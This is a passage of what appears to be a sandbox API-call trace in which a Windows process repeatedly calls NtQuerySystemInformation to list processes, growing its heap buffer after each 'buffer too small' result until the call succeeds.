SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0208.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0208.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0208.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0208.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0208.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.149] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0208.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.149] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0208.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0208.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0208.150] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.150] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0208.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.151] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0208.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0208.151] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0208.286] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0208.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0208.286] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0208.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0208.286] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0208.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.286] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0208.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.286] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0208.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.287] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0208.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.287] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0208.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.287] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0208.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.287] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0208.287] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.288] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0208.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.288] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0208.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.288] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0208.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.289] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0208.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.289] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0208.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.289] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0208.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.289] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0208.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.290] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0208.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.290] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0208.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.290] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0208.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0208.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0208.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.291] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0208.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.292] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0208.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.292] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0208.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.292] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0208.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.293] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0208.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0208.293] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0208.438] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0208.438] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0208.438] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0208.438] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0208.438] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0208.438] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.439] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0208.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.439] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0208.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.439] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0208.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.439] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0208.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.440] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0208.440] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.440] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0208.440] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.440] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0208.440] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.440] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0208.440] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.441] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0208.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.441] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0208.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.441] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0208.441] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0208.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0208.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.442] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0208.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.443] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0208.443] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.443] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0208.443] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.443] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0208.443] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.443] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0208.444] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.444] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0208.444] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.444] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0208.444] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.445] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0208.445] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.446] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0208.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.446] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0208.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.446] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0208.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0208.447] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0208.573] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0208.573] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0208.573] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0208.573] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0208.573] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0208.573] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.573] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0208.574] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.574] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0208.574] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.574] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0208.574] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.574] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0208.574] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.575] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0208.575] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.575] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0208.575] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.575] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0208.575] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.576] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0208.576] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.576] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0208.576] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.576] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0208.576] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.577] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0208.577] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.577] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0208.577] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.577] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0208.577] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0208.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.578] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0208.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0208.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0208.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.579] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0208.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0208.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0208.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.581] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0208.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, 